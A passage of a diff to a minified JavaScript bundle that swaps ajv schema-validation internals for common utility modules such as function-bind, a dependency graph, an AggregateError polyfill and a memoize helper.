(i9.assign(n8._`${r9}.errors`, t10), i9.return(false)); + function V5(e12) { + return n8.toByteArray(function(e13) { + if ((e13 = (e13 = e13.split("=")[0]).trim().replace(D6, "")).length < 2) + return ""; + for (; e13.length % 4 != 0; ) + e13 += "="; + return e13; + }(e12)); } - t9.keywordError = { message: ({ keyword: e12 }) => n8.str`must pass "${e12}" keyword validation` }, t9.keyword$DataError = { message: ({ keyword: e12, schemaType: t10 }) => t10 ? n8.str`"${e12}" keyword must be ${t10} ($data)` : n8.str`"${e12}" keyword is invalid ($data)` }, t9.reportError = function(e12, i9 = t9.keywordError, r9, o8) { - const { it: p8 } = e12, { gen: d8, compositeRule: f9, allErrors: l7 } = p8, u7 = c7(e12, i9, r9); - (null != o8 ? o8 : f9 || l7) ? s7(d8, u7) : a7(p8, n8._`[${u7}]`); - }, t9.reportExtraError = function(e12, i9 = t9.keywordError, n9) { - const { it: r9 } = e12, { gen: p8, compositeRule: d8, allErrors: f9 } = r9; - s7(p8, c7(e12, i9, n9)), d8 || f9 || a7(r9, o7.default.vErrors); - }, t9.resetErrorsCount = function(e12, t10) { - e12.assign(o7.default.errors, t10), e12.if(n8._`${o7.default.vErrors} !== null`, () => e12.if(t10, () => e12.assign(n8._`${o7.default.vErrors}.length`, t10), () => e12.assign(o7.default.vErrors, null))); - }, t9.extendErrors = function({ gen: e12, keyword: t10, schemaValue: i9, data: r9, errsCount: s8, it: a8 }) { - if (void 0 === s8) - throw new Error("ajv implementation error"); - const p8 = e12.name("err"); - e12.forRange("i", s8, o7.default.errors, (s9) => { - e12.const(p8, n8._`${o7.default.vErrors}[${s9}]`), e12.if(n8._`${p8}.instancePath === undefined`, () => e12.assign(n8._`${p8}.instancePath`, (0, n8.strConcat)(o7.default.instancePath, a8.errorPath))), e12.assign(n8._`${p8}.schemaPath`, n8.str`${a8.errSchemaPath}/${t10}`), a8.opts.verbose && (e12.assign(n8._`${p8}.schema`, i9), e12.assign(n8._`${p8}.data`, r9)); - }); - }; - const p7 = { keyword: new n8.Name("keyword"), schemaPath: new n8.Name("schemaPath"), params: new n8.Name("params"), propertyName: new n8.Name("propertyName"), message: new n8.Name("message"), schema: new n8.Name("schema"), parentSchema: new n8.Name("parentSchema") }; - function c7(e12, t10, i9) { - const { createErrors: r9 } = e12.it; - return false === r9 ? n8._`{}` : function(e13, t11, i10 = {}) { - const { gen: r10, it: s8 } = e13, a8 = [d7(s8, i10), f8(e13, i10)]; - return function(e14, { params: t12, message: i11 }, r11) { - const { keyword: s9, data: a9, schemaValue: c8, it: d8 } = e14, { opts: f9, propertyName: l7, topSchemaRef: u7, schemaPath: m7 } = d8; - r11.push([p7.keyword, s9], [p7.params, "function" == typeof t12 ? t12(e14) : t12 || n8._`{}`]), f9.messages && r11.push([p7.message, "function" == typeof i11 ? i11(e14) : i11]), f9.verbose && r11.push([p7.schema, c8], [p7.parentSchema, n8._`${u7}${m7}`], [o7.default.data, a9]), l7 && r11.push([p7.propertyName, l7]); - }(e13, t11, a8), r10.object(...a8); - }(e12, t10, i9); + function N6(e12, t10, i9, n9) { + for (var r9 = 0; r9 < n9 && !(r9 + i9 >= t10.length || r9 >= e12.length); ++r9) + t10[r9 + i9] = e12[r9]; + return r9; } - function d7({ errorPath: e12 }, { instancePath: t10 }) { - const i9 = t10 ? n8.str`${e12}${(0, r8.getErrorPath)(t10, r8.Type.Str)}` : e12; - return [o7.default.instancePath, (0, n8.strConcat)(o7.default.instancePath, i9)]; + function F6(e12, t10) { + return e12 instanceof t10 || null != e12 && null != e12.constructor && null != e12.constructor.name && e12.constructor.name === t10.name; } - function f8({ keyword: e12, it: { errSchemaPath: t10 } }, { schemaPath: i9, parentSchema: o8 }) { - let s8 = o8 ? t10 : n8.str`${t10}/${e12}`; - return i9 && (s8 = n8.str`${s8}${(0, r8.getErrorPath)(i9, r8.Type.Str)}`), [p7.schemaPath, s8]; + function U6(e12) { + return e12 != e12; } - }, 49392: (e11, t9, i8) => { + }, 79818: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.resolveSchema = t9.getCompilingSchema = t9.resolveRef = t9.compileSchema = t9.SchemaEnv = void 0; - const n8 = i8(17898), r8 = i8(95031), o7 = i8(63036), s7 = i8(14856), a7 = i8(50458), p7 = i8(96223); - class c7 { - constructor(e12) { - var t10; - let i9; - this.refs = {}, this.dynamicAnchors = {}, "object" == typeof e12.schema && (i9 = e12.schema), this.schema = e12.schema, this.schemaId = e12.schemaId, this.root = e12.root || this, this.baseId = null !== (t10 = e12.baseId) && void 0 !== t10 ? t10 : (0, s7.normalizeId)(null == i9 ? void 0 : i9[e12.schemaId || "$id"]), this.schemaPath = e12.schemaPath, this.localRefs = e12.localRefs, this.meta = e12.meta, this.$async = null == i9 ? void 0 : i9.$async, this.refs = {}; + var n8 = i8(528), r8 = i8(28498), o7 = r8(n8("String.prototype.indexOf")); + e11.exports = function(e12, t10) { + var i9 = n8(e12, !!t10); + return "function" == typeof i9 && o7(e12, ".prototype.") > -1 ? r8(i9) : i9; + }; + }, 28498: (e11, t9, i8) => { + "use strict"; + var n8 = i8(79138), r8 = i8(528), o7 = i8(26108), s7 = i8(3468), a7 = r8("%Function.prototype.apply%"), p7 = r8("%Function.prototype.call%"), c7 = r8("%Reflect.apply%", true) || n8.call(p7, a7), d7 = i8(64940), f8 = r8("%Math.max%"); + e11.exports = function(e12) { + if ("function" != typeof e12) + throw new s7("a function is required"); + var t10 = c7(n8, p7, arguments); + return o7(t10, 1 + f8(0, e12.length - (arguments.length - 1)), true); + }; + var l7 = function() { + return c7(n8, a7, arguments); + }; + d7 ? d7(e11.exports, "apply", { value: l7 }) : e11.exports.apply = l7; + }, 55837: (e11) => { + e11.exports = function(e12, i8) { + for (var n8 = [], r8 = 0; r8 < e12.length; r8++) { + var o7 = i8(e12[r8], r8); + t9(o7) ? n8.push.apply(n8, o7) : n8.push(o7); } - } - function d7(e12) { - const t10 = l7.call(this, e12); - if (t10) - return t10; - const i9 = (0, s7.getFullPath)(this.opts.uriResolver, e12.root.baseId), { es5: a8, lines: c8 } = this.opts.code, { ownProperties: d8 } = this.opts, f9 = new n8.CodeGen(this.scope, { es5: a8, lines: c8, ownProperties: d8 }); - let u8; - e12.$async && (u8 = f9.scopeValue("Error", { ref: r8.default, code: n8._`require("ajv/dist/runtime/validation_error").default` })); - const m8 = f9.scopeName("validate"); - e12.validateName = m8; - const h9 = { gen: f9, allErrors: this.opts.allErrors, data: o7.default.data, parentData: o7.default.parentData, parentDataProperty: o7.default.parentDataProperty, dataNames: [o7.default.data], dataPathArr: [n8.nil], dataLevel: 0, dataTypes: [], definedProperties: /* @__PURE__ */ new Set(), topSchemaRef: f9.scopeValue("schema", true === this.opts.code.source ? { ref: e12.schema, code: (0, n8.stringify)(e12.schema) } : { ref: e12.schema }), validateName: m8, ValidationError: u8, schema: e12.schema, schemaEnv: e12, rootId: i9, baseId: e12.baseId || i9, schemaPath: n8.nil, errSchemaPath: e12.schemaPath || (this.opts.jtd ? "" : "#"), errorPath: n8._`""`, opts: this.opts, self: this }; - let y8; - try { - this._compilations.add(e12), (0, p7.validateFunctionCode)(h9), f9.optimize(this.opts.code.optimize); - const t11 = f9.toString(); - y8 = `${f9.scopeRefs(o7.default.scope)}return ${t11}`, this.opts.code.process && (y8 = this.opts.code.process(y8, e12)); - const i10 = new Function(`${o7.default.self}`, `${o7.default.scope}`, y8)(this, this.scope.get()); - if (this.scope.value(m8, { ref: i10 }), i10.errors = null, i10.schema = e12.schema, i10.schemaEnv = e12, e12.$async && (i10.$async = true), true === this.opts.code.source && (i10.source = { validateName: m8, validateCode: t11, scopeValues: f9._values }), this.opts.unevaluated) { - const { props: e13, items: t12 } = h9; - i10.evaluated = { props: e13 instanceof n8.Name ? void 0 : e13, items: t12 instanceof n8.Name ? void 0 : t12, dynamicProps: e13 instanceof n8.Name, dynamicItems: t12 instanceof n8.Name }, i10.source && (i10.source.evaluated = (0, n8.stringify)(i10.evaluated)); - } - return e12.validate = i10, e12; - } catch (t11) { - throw delete e12.validate, delete e12.validateName, y8 && this.logger.error("Error compiling schema, function code:", y8), t11; - } finally { - this._compilations.delete(e12); + return n8; + }; + var t9 = Array.isArray || function(e12) { + return "[object Array]" === Object.prototype.toString.call(e12); + }; + }, 70686: (e11, t9, i8) => { + "use strict"; + var n8 = i8(64940), r8 = i8(5731), o7 = i8(3468), s7 = i8(69336); + e11.exports = function(e12, t10, i9) { + if (!e12 || "object" != typeof e12 && "function" != typeof e12) + throw new o7("`obj` must be an object or a function`"); + if ("string" != typeof t10 && "symbol" != typeof t10) + throw new o7("`property` must be a string or a symbol`"); + if (arguments.length > 3 && "boolean" != typeof arguments[3] && null !== arguments[3]) + throw new o7("`nonEnumerable`, if provided, must be a boolean or null"); + if (arguments.length > 4 && "boolean" != typeof arguments[4] && null !== arguments[4]) + throw new o7("`nonWritable`, if provided, must be a boolean or null"); + if (arguments.length > 5 && "boolean" != typeof arguments[5] && null !== arguments[5]) + throw new o7("`nonConfigurable`, if provided, must be a boolean or null"); + if (arguments.length > 6 && "boolean" != typeof arguments[6]) + throw new o7("`loose`, if provided, must be a boolean"); + var a7 = arguments.length > 3 ? arguments[3] : null, p7 = arguments.length > 4 ? arguments[4] : null, c7 = arguments.length > 5 ? arguments[5] : null, d7 = arguments.length > 6 && arguments[6], f8 = !!s7 && s7(e12, t10); + if (n8) + n8(e12, t10, { configurable: null === c7 && f8 ? f8.configurable : !c7, enumerable: null === a7 && f8 ? f8.enumerable : !a7, value: i9, writable: null === p7 && f8 ? f8.writable : !p7 }); + else { + if (!d7 && (a7 || p7 || c7)) + throw new r8("This environment does not support defining a property as non-configurable, non-writable, or non-enumerable."); + e12[t10] = i9; } - } - function f8(e12) { - return (0, s7.inlineRef)(e12.schema, this.opts.inlineRefs) ? e12.schema : e12.validate ? e12 : d7.call(this, e12); - } - function l7(e12) { - for (const n9 of this._compilations) - if (i9 = e12, (t10 = n9).schema === i9.schema && t10.root === i9.root && t10.baseId === i9.baseId) - return n9; - var t10, i9; - } - function u7(e12, t10) { - let i9; - for (; "string" == typeof (i9 = this.refs[t10]); ) - t10 = i9; - return i9 || this.schemas[t10] || m7.call(this, e12, t10); - } - function m7(e12, t10) { - const i9 = this.opts.uriResolver.parse(t10), n9 = (0, s7._getFullPath)(this.opts.uriResolver, i9); - let r9 = (0, s7.getFullPath)(this.opts.uriResolver, e12.baseId, void 0); - if (Object.keys(e12.schema).length > 0 && n9 === r9) - return y7.call(this, i9, e12); - const o8 = (0, s7.normalizeId)(n9), a8 = this.refs[o8] || this.schemas[o8]; - if ("string" == typeof a8) { - const t11 = m7.call(this, e12, a8); - if ("object" != typeof (null == t11 ? void 0 : t11.schema)) + }; + }, 41857: (e11, t9, i8) => { + "use strict"; + var n8 = i8(49228), r8 = "function" == typeof Symbol && "symbol" == typeof Symbol("foo"), o7 = Object.prototype.toString, s7 = Array.prototype.concat, a7 = i8(70686), p7 = i8(17239)(), c7 = function(e12, t10, i9, n9) { + if (t10 in e12) { + if (true === n9) { + if (e12[t10] === i9) + return; + } else if ("function" != typeof (r9 = n9) || "[object Function]" !== o7.call(r9) || !n9()) return; - return y7.call(this, i9, t11); } - if ("object" == typeof (null == a8 ? void 0 : a8.schema)) { - if (a8.validate || d7.call(this, a8), o8 === (0, s7.normalizeId)(t10)) { - const { schema: t11 } = a8, { schemaId: i10 } = this.opts, n10 = t11[i10]; - return n10 && (r9 = (0, s7.resolveUrl)(this.opts.uriResolver, r9, n10)), new c7({ schema: t11, schemaId: i10, root: e12, baseId: r9 }); + var r9; + p7 ? a7(e12, t10, i9, true) : a7(e12, t10, i9); + }, d7 = function(e12, t10) { + var i9 = arguments.length > 2 ? arguments[2] : {}, o8 = n8(t10); + r8 && (o8 = s7.call(o8, Object.getOwnPropertySymbols(t10))); + for (var a8 = 0; a8 < o8.length; a8 += 1) + c7(e12, o8[a8], t10[o8[a8]], i9[o8[a8]]); + }; + d7.supportsDescriptors = !!p7, e11.exports = d7; + }, 30524: (e11, t9) => { + function i8(e12, t10, i9, n9) { + var o7 = {}; + return function(s7) { + if (!o7[s7]) { + var a7 = {}, p7 = [], c7 = []; + for (c7.push({ node: s7, processed: false }); c7.length > 0; ) { + var d7 = c7[c7.length - 1], f8 = d7.processed, l7 = d7.node; + if (f8) + c7.pop(), p7.pop(), a7[l7] = false, o7[l7] = true, t10 && 0 !== e12[l7].length || i9.push(l7); + else { + if (o7[l7]) { + c7.pop(); + continue; + } + if (a7[l7]) { + if (n9) { + c7.pop(); + continue; + } + throw p7.push(l7), new r8(p7); + } + a7[l7] = true, p7.push(l7); + for (var u7 = e12[l7], m7 = u7.length - 1; m7 >= 0; m7--) + c7.push({ node: u7[m7], processed: false }); + d7.processed = true; + } + } } - return y7.call(this, i9, a8); - } + }; } - t9.SchemaEnv = c7, t9.compileSchema = d7, t9.resolveRef = function(e12, t10, i9) { - var n9; - i9 = (0, s7.resolveUrl)(this.opts.uriResolver, t10, i9); - const r9 = e12.refs[i9]; - if (r9) - return r9; - let o8 = u7.call(this, e12, i9); - if (void 0 === o8) { - const r10 = null === (n9 = e12.localRefs) || void 0 === n9 ? void 0 : n9[i9], { schemaId: s8 } = this.opts; - r10 && (o8 = new c7({ schema: r10, schemaId: s8, root: e12, baseId: t10 })); + var n8 = t9.DepGraph = function(e12) { + this.nodes = {}, this.outgoingEdges = {}, this.incomingEdges = {}, this.circular = e12 && !!e12.circular; + }; + n8.prototype = { size: function() { + return Object.keys(this.nodes).length; + }, addNode: function(e12, t10) { + this.hasNode(e12) || (this.nodes[e12] = 2 === arguments.length ? t10 : e12, this.outgoingEdges[e12] = [], this.incomingEdges[e12] = []); + }, removeNode: function(e12) { + this.hasNode(e12) && (delete this.nodes[e12], delete this.outgoingEdges[e12], delete this.incomingEdges[e12], [this.incomingEdges, this.outgoingEdges].forEach(function(t10) { + Object.keys(t10).forEach(function(i9) { + var n9 = t10[i9].indexOf(e12); + n9 >= 0 && t10[i9].splice(n9, 1); + }, this); + })); + }, hasNode: function(e12) { + return this.nodes.hasOwnProperty(e12); + }, getNodeData: function(e12) { + if (this.hasNode(e12)) + return this.nodes[e12]; + throw new Error("Node does not exist: " + e12); + }, setNodeData: function(e12, t10) { + if (!this.hasNode(e12)) + throw new Error("Node does not exist: " + e12); + this.nodes[e12] = t10; + }, addDependency: function(e12, t10) { + if (!this.hasNode(e12)) + throw new Error("Node does not exist: " + e12); + if (!this.hasNode(t10)) + throw new Error("Node does not exist: " + t10); + return -1 === this.outgoingEdges[e12].indexOf(t10) && this.outgoingEdges[e12].push(t10), -1 === this.incomingEdges[t10].indexOf(e12) && this.incomingEdges[t10].push(e12), true; + }, removeDependency: function(e12, t10) { + var i9; + this.hasNode(e12) && (i9 = this.outgoingEdges[e12].indexOf(t10)) >= 0 && this.outgoingEdges[e12].splice(i9, 1), this.hasNode(t10) && (i9 = this.incomingEdges[t10].indexOf(e12)) >= 0 && this.incomingEdges[t10].splice(i9, 1); + }, clone: function() { + var e12 = this, t10 = new n8(); + return Object.keys(e12.nodes).forEach(function(i9) { + t10.nodes[i9] = e12.nodes[i9], t10.outgoingEdges[i9] = e12.outgoingEdges[i9].slice(0), t10.incomingEdges[i9] = e12.incomingEdges[i9].slice(0); + }), t10; + }, directDependenciesOf: function(e12) { + if (this.hasNode(e12)) + return this.outgoingEdges[e12].slice(0); + throw new Error("Node does not exist: " + e12); + }, directDependantsOf: function(e12) { + if (this.hasNode(e12)) + return this.incomingEdges[e12].slice(0); + throw new Error("Node does not exist: " + e12); + }, dependenciesOf: function(e12, t10) { + if (this.hasNode(e12)) { + var n9 = []; + i8(this.outgoingEdges, t10, n9, this.circular)(e12); + var r9 = n9.indexOf(e12); + return r9 >= 0 && n9.splice(r9, 1), n9; } - return void 0 !== o8 ? e12.refs[i9] = f8.call(this, o8) : void 0; - }, t9.getCompilingSchema = l7, t9.resolveSchema = m7; - const h8 = /* @__PURE__ */ new Set(["properties", "patternProperties", "enum", "dependencies", "definitions"]); - function y7(e12, { baseId: t10, schema: i9, root: n9 }) { - var r9; - if ("/" !== (null === (r9 = e12.fragment) || void 0 === r9 ? void 0 : r9[0])) - return; - for (const n10 of e12.fragment.slice(1).split("/")) { - if ("boolean" == typeof i9) - return; - const e13 = i9[(0, a7.unescapeFragment)(n10)]; - if (void 0 === e13) - return; - const r10 = "object" == typeof (i9 = e13) && i9[this.opts.schemaId]; - !h8.has(n10) && r10 && (t10 = (0, s7.resolveUrl)(this.opts.uriResolver, t10, r10)); + throw new Error("Node does not exist: " + e12); + }, dependantsOf: function(e12, t10) { + if (this.hasNode(e12)) { + var n9 = []; + i8(this.incomingEdges, t10, n9, this.circular)(e12); + var r9 = n9.indexOf(e12); + return r9 >= 0 && n9.splice(r9, 1), n9; } - let o8; - if ("boolean" != typeof i9 && i9.$ref && !(0, a7.schemaHasRulesButRef)(i9, this.RULES)) { - const e13 = (0, s7.resolveUrl)(this.opts.uriResolver, t10, i9.$ref); - o8 = m7.call(this, n9, e13); + throw new Error("Node does not exist: " + e12); + }, overallOrder: function(e12) { + var t10 = this, n9 = [], r9 = Object.keys(this.nodes); + if (0 === r9.length) + return n9; + if (!this.circular) { + var o7 = i8(this.outgoingEdges, false, [], this.circular); + r9.forEach(function(e13) { + o7(e13); + }); } - const { schemaId: p8 } = this.opts; - return o8 = o8 || new c7({ schema: i9, schemaId: p8, root: n9, baseId: t10 }), o8.schema !== o8.root.schema ? o8 : void 0; + var s7 = i8(this.outgoingEdges, e12, n9, this.circular); + return r9.filter(function(e13) { + return 0 === t10.incomingEdges[e13].length; + }).forEach(function(e13) { + s7(e13); + }), this.circular && r9.filter(function(e13) { + return -1 === n9.indexOf(e13); + }).forEach(function(e13) { + s7(e13); + }), n9; + }, entryNodes: function() { + var e12 = this; + return Object.keys(this.nodes).filter(function(t10) { + return 0 === e12.incomingEdges[t10].length; + }); + } }, n8.prototype.directDependentsOf = n8.prototype.directDependantsOf, n8.prototype.dependentsOf = n8.prototype.dependantsOf; + var r8 = t9.DepGraphCycleError = function(e12) { + var t10 = "Dependency Cycle Found: " + e12.join(" -> "), i9 = new Error(t10); + return i9.cyclePath = e12, Object.setPrototypeOf(i9, Object.getPrototypeOf(this)), Error.captureStackTrace && Error.captureStackTrace(i9, r8), i9; + }; + r8.prototype = Object.create(Error.prototype, { constructor: { value: Error, enumerable: false, writable: true, configurable: true } }), Object.setPrototypeOf(r8, Error); + }, 71401: (e11, t9, i8) => { + "use strict"; + var n8 = i8(10207), r8 = i8(78464), o7 = i8(22693), s7 = i8(17239)(), a7 = i8(51192), p7 = i8(29954), c7 = i8(29838); + function d7(e12, t10) { + var i9 = new c7(t10); + p7(i9, f8), delete i9.constructor; + var r9 = a7(o7(e12, "SYNC")); + return n8(i9, "errors", r9), i9; } - }, 63036: (e11, t9, i8) => { + s7 && Object.defineProperty(d7, "prototype", { writable: false }); + var f8 = d7.prototype; + if (!r8(f8, "constructor", d7) || !r8(f8, "message", "") || !r8(f8, "name", "AggregateError")) + throw new c7("unable to install AggregateError.prototype properties; please report this!"); + p7(d7.prototype, Error.prototype), e11.exports = d7; + }, 99639: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(17898), r8 = { data: new n8.Name("data"), valCxt: new n8.Name("valCxt"), instancePath: new n8.Name("instancePath"), parentData: new n8.Name("parentData"), parentDataProperty: new n8.Name("parentDataProperty"), rootData: new n8.Name("rootData"), dynamicAnchors: new n8.Name("dynamicAnchors"), vErrors: new n8.Name("vErrors"), errors: new n8.Name("errors"), this: new n8.Name("this"), self: new n8.Name("self"), scope: new n8.Name("scope"), json: new n8.Name("json"), jsonPos: new n8.Name("jsonPos"), jsonLen: new n8.Name("jsonLen"), jsonPart: new n8.Name("jsonPart") }; - t9.default = r8; - }, 85748: (e11, t9, i8) => { + var n8 = i8(79138), r8 = i8(41857), o7 = i8(19343), s7 = i8(70686), a7 = i8(71401), p7 = i8(68604), c7 = i8(66614), d7 = p7(), f8 = o7(n8.call(d7), d7.name, true); + s7(f8, "prototype", d7.prototype, true, true, true, true), r8(f8, { getPolyfill: p7, implementation: a7, shim: c7 }), e11.exports = f8; + }, 68604: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }); - const n8 = i8(14856); - class r8 extends Error { - constructor(e12, t10, i9, r9) { - super(r9 || `can't resolve reference ${i9} from id ${t10}`), this.missingRef = (0, n8.resolveUrl)(e12, t10, i9), this.missingSchema = (0, n8.normalizeId)((0, n8.getFullPath)(e12, this.missingRef)); - } - } - t9.default = r8; - }, 14856: (e11, t9, i8) => { + var n8 = i8(71401); + e11.exports = function() { + return "function" == typeof AggregateError ? AggregateError : n8; + }; + }, 66614: (e11, t9, i8) => { "use strict"; - Object.defineProperty(t9, "__esModule", { value: true }), t9.getSchemaRefs = t9.resolveUrl = t9.normalizeId = t9._getFullPath = t9.getFullPath = t9.inlineRef = void 0; - const n8 = i8(50458), r8 = i8(38792), o7 = i8(1645), s7 = /* @__PURE__ */ new Set(["type", "format", "pattern", "maxLength", "minLength", "maxProperties", "minProperties", "maxItems", "minItems", "maximum", "minimum", "uniqueItems", "multipleOf", "required", "enum", "const"]); - t9.inlineRef = function(e12, t10 = true) { - return "boolean" == typeof e12 || (true === t10 ? !p7(e12) : !!t10 && c7(e12) <= t10); + var n8 = i8(41857), r8 = i8(6541)(), o7 = i8(68604); + e11.exports = function() { + var e12 = o7(); + return n8(r8, { AggregateError: e12 }, { AggregateError: function() { + return r8.AggregateError !== e12; + } }), e12; }; - const a7 = /* @__PURE__ */ new Set(["$ref", "$recursiveRef", "$recursiveAnchor", "$dynamicRef", "$dynamicAnchor"]); - function p7(e12) { - for (const t10 in e12) { - if (a7.has(t10)) - return true; - const i9 = e12[t10]; - if (Array.isArray(i9) && i9.some(p7)) - return true; - if ("object" == typeof i9 && p7(i9)) + }, 64940: (e11, t9, i8) => { + "use strict"; + var n8 = i8(528)("%Object.defineProperty%", true) || false; + if (n8) + try { + n8({}, "a", { value: 1 }); + } catch (e12) { + n8 = false; + } + e11.exports = n8; + }, 29110: (e11) => { + "use strict"; + e11.exports = EvalError; + }, 29838: (e11) => { + "use strict"; + e11.exports = Error; + }, 61155: (e11) => { + "use strict"; + e11.exports = RangeError; + }, 94943: (e11) => { + "use strict"; + e11.exports = ReferenceError; + }, 5731: (e11) => { + "use strict"; + e11.exports = SyntaxError; + }, 3468: (e11) => { + "use strict"; + e11.exports = TypeError; + }, 32140: (e11) => { + "use strict"; + e11.exports = URIError; + }, 38792: (e11) => { + "use strict"; + e11.exports = function e12(t9, i8) { + if (t9 === i8) + return true; + if (t9 && i8 && "object" == typeof t9 && "object" == typeof i8) { + if (t9.constructor !== i8.constructor) + return false; + var n8, r8, o7; + if (Array.isArray(t9)) { + if ((n8 = t9.length) != i8.length) + return false; + for (r8 = n8; 0 != r8--; ) + if (!e12(t9[r8], i8[r8])) + return false; return true; + } + if (t9.constructor === RegExp) + return t9.source === i8.source && t9.flags === i8.flags; + if (t9.valueOf !== Object.prototype.valueOf) + return t9.valueOf() === i8.valueOf(); + if (t9.toString !== Object.prototype.toString) + return t9.toString() === i8.toString(); + if ((n8 = (o7 = Object.keys(t9)).length) !== Object.keys(i8).length) + return false; + for (r8 = n8; 0 != r8--; ) + if (!Object.prototype.hasOwnProperty.call(i8, o7[r8])) + return false; + for (r8 = n8; 0 != r8--; ) { + var s7 = o7[r8]; + if (!e12(t9[s7], i8[s7])) + return false; + } + return true; } - return false; + return t9 != t9 && i8 != i8; + }; + }, 2940: (e11) => { + function t9(e12, t10, i9, n9) { + var r9, o8 = null == (r9 = n9) || "number" == typeof r9 || "boolean" == typeof r9 ? n9 : i9(n9), s8 = t10.get(o8); + return void 0 === s8 && (s8 = e12.call(this, n9), t10.set(o8, s8)), s8; } - function c7(e12) { - let t10 = 0; - for (const i9 in e12) { - if ("$ref" === i9) - return 1 / 0; - if (t10++, !s7.has(i9) && ("object" == typeof e12[i9] && (0, n8.eachItem)(e12[i9], (e13) => t10 += c7(e13)), t10 === 1 / 0)) - return 1 / 0; - } - return t10; + function i8(e12, t10, i9) { + var n9 = Array.prototype.slice.call(arguments, 3), r9 = i9(n9), o8 = t10.get(r9); + return void 0 === o8 && (o8 = e12.apply(this, n9), t10.set(r9, o8)), o8; } - function d7(e12, t10 = "", i9) { - false !== i9 && (t10 = u7(t10)); - const n9 = e12.parse(t10); - return f8(e12, n9); + function n8(e12, t10, i9, n9, r9) { + return i9.bind(t10, e12, n9, r9); } - function f8(e12, t10) { - return e12.serialize(t10).split("#")[0] + "#"; + function r8(e12, r9) { + return n8(e12, this, 1 === e12.length ? t9 : i8, r9.cache.create(), r9.serializer); } - t9.getFullPath = d7, t9._getFullPath = f8; - const l7 = /#\/?$/; - function u7(e12) { - return e12 ? e12.replace(l7, "") : ""; + function o7() { + return JSON.stringify(arguments); } - t9.normalizeId = u7, t9.resolveUrl = function(e12, t10, i9) { - return i9 = u7(i9), e12.resolve(t10, i9); + function s7() { + this.cache = /* @__PURE__ */ Object.create(null); + } + s7.prototype.has = function(e12) { + return e12 in this.cache; + }, s7.prototype.get = function(e12) { + return this.cache[e12]; + }, s7.prototype.set = function(e12, t10) { + this.cache[e12] = t10; }; - const m7 = /^[a-z_][-a-z0-9._]*$/i; - t9.getSchemaRefs = function(e12, t10) { - if ("boolean" == typeof e12) - return {}; - const { schemaId: i9, uriResolver: n9 } = this.opts, s8 = u7(e12[i9] || t10), a8 = { "": s8 }, p8 = d7(n9, s8, false), c8 = {}, f9 = /* @__PURE__ */ new Set(); - return o7(e12, { allKeys: true }, (e13, t11, n10, r9) => { - if (void 0 === r9) - return; - const o8 = p8 + t11; - let s9 = a8[r9]; - function d8(t12) { - const i10 = this.opts.uriResolver.resolve; - if (t12 = u7(s9 ? i10(s9, t12) : t12), f9.has(t12)) - throw h8(t12); - f9.add(t12); - let n11 = this.refs[t12]; - return "string" == typeof n11 && (n11 = this.refs[n11]), "object" == typeof n11 ? l8(e13, n11.schema, t12) : t12 !== u7(o8) && ("#" === t12[0] ? (l8(e13, c8[t12], t12), c8[t12] = e13) : this.refs[t12] = o8), t12; + var a7 = { create: function() { + return new s7(); + } }; + e11.exports = function(e12, t10) { + var i9 = t10 && t10.cache ? t10.cache : a7, n9 = t10 && t10.serializer ? t10.serializer : o7; + return (t10 && t10.strategy ? t10.strategy : r8)(e12, { cache: i9, serializer: n9 }); + }, e11.exports.strategies = { variadic: function(e12, t10) { + return n8(e12, this, i8, t10.cache.create(), t10.serializer); + }, monadic: function(e12, i9) { + return n8(e12, this, t9, i9.cache.create(), i9.serializer); + } }; + }, 28794: (e11) => { + "use strict"; + var t9 = Object.prototype.toString, i8 = Math.max, n8 = function(e12, t10) { + for (var i9 = [], n9 = 0; n9 < e12.length; n9 += 1) + i9[n9] = e12[n9]; + for (var r8 = 0; r8 < t10.length; r8 += 1) + i9[r8 + e12.length] = t10[r8]; + return i9; + }; + e11.exports = function(e12) { + var r8 = this; + if ("function" != typeof r8 || "[object Function]" !== t9.apply(r8)) + throw new TypeError("Function.prototype.bind called on incompatible " + r8); + for (var o7, s7 = function(e13) { + for (var t10 = [], i9 = 1, n9 = 0; i9 < e13.length; i9 += 1, n9 += 1) + t10[n9] = e13[i9]; + return t10; + }(arguments), a7 = i8(0, r8.length - s7.length), p7 = [], c7 = 0; c7 < a7; c7++) + p7[c7] = "$" + c7; + if (o7 = Function("binder", "return function (" + function(e13) { + for (var t10 = "", i9 = 0; i9 < e13.length; i9 += 1) + t10 += e13[i9], i9 + 1 < e13.length && (t10 += ","); + return t10; + }(p7) + "){ return binder.apply(this,arguments); }")(function() { + if (this instanceof o7) { + var t10 = r8.apply(this, n8(s7, arguments)); + return Object(t10) === t10 ? t10 : this; } - function y7(e14) { - if ("string" == typeof e14) { - if (!m7.test(e14)) - throw new Error(`invalid anchor "${e14}"`); - d8.call(this, `#${e14}`); + return r8.apply(e12, n8(s7, arguments)); + }), r8.prototype) { + var d7 = function() { + }; + d7.prototype = r8.prototype, o7.prototype = new d7(), d7.prototype = null; + } + return o7; + }; + }, 79138: (e11, t9, i8) => { + "use strict"; + var n8 = i8(28794); + e11.exports = Function.prototype.bind || n8; + }, 68993: (e11) => { + "use strict"; + var t9 = function() { + return "string" == typeof function() { + }.name; + }, i8 = Object.getOwnPropertyDescriptor; + if (i8) + try { + i8([], "length"); + } catch (e12) { + i8 = null; + } + t9.functionsHaveConfigurableNames = function() { + if (!t9() || !i8) + return false; + var e12 = i8(function() { + }, "name"); + return !!e12 && !!e12.configurable; + }; + var n8 = Function.prototype.bind; + t9.boundFunctionsHaveNames = function() { + return t9() && "function" == typeof n8 && "" !== function() { + }.bind().name; + }, e11.exports = t9; + }, 528: (e11, t9, i8) => { + "use strict"; + var n8, r8 = i8(29838), o7 = i8(29110), s7 = i8(61155), a7 = i8(94943), p7 = i8(5731), c7 = i8(3468), d7 = i8(32140), f8 = Function, l7 = function(e12) { + try { + return f8('"use strict"; return (' + e12 + ").constructor;")(); + } catch (e13) { + } + }, u7 = Object.getOwnPropertyDescriptor; + if (u7) + try { + u7({}, ""); + } catch (e12) { + u7 = null; + } + var m7 = function() { + throw new c7(); + }, h8 = u7 ? function() { + try { + return m7; + } catch (e12) { + try { + return u7(arguments, "callee").get; + } catch (e13) { + return m7; + } + } + }() : m7, y7 = i8(53558)(), g7 = i8(66869)(), b8 = Object.getPrototypeOf || (g7 ? function(e12) { + return e12.__proto__; + } : null), v8 = {}, j6 = "undefined" != typeof Uint8Array && b8 ? b8(Uint8Array) : n8, $5 = { __proto__: 